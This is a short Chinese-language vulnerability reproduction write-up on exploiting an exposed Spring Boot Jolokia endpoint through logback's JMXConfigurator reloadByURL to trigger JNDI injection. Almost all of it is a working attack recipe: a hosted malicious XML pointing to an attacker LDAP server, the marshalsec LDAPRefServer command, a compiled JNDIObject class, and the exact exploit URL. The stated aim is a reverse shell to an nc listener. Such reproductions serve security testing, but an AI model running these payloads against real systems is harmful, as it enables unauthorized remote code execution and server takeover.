一、漏洞背景
/jolokia/list接口未授权利用
二、利用条件
jolokia接口暴露
spring使用了jolokia-core的依赖,并存在MBean
JDNI注入有版本限制 JDK< 6u201/7u191/8u182/11.0.1 (LDAP)
三、漏洞确认
/jolokia/list 接口搜索关键字: ch.qos.logback.classic.jmx.JMXConfigurator 和 reloadByURL
四、漏洞复现
1.开一个python临时web
python2 -m SimpleHTTPServer 80
2.准备xml文件
xml文件内容如下
<configuration> <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/JNDIObject" as="appName" /> </configuration>
3.修改java文件,并以低版本编译 ,443为nc监听的端口
javac -source 1.5 -target 1.5 JNDIObject.java
4.启动恶意注入类监听1389 端口
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.43.183:80/##JNDIObject 1389
5.POC status200就是成功了
/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/192.168.43.239!/example.xml
6.判断是否成功,从web服务响应看到 靶机环境加载了example.xml 并且 恶意类执行注入也加载了class说明大概率会成功返回shell。
(我这里是用win系统IDEA搭建的本地环境,脚本是针对linux的所以无法接收到shell。)
总结:RMI注入同理,JNDI注入的两种方式都用JKD版本限制,和fastjson的反序列差不多,这个是多了一步加载xml的文件。
参考链接:
https://github.com/LandGrey/SpringBootVulExploit#0x04jolokia-logback-jndi-rce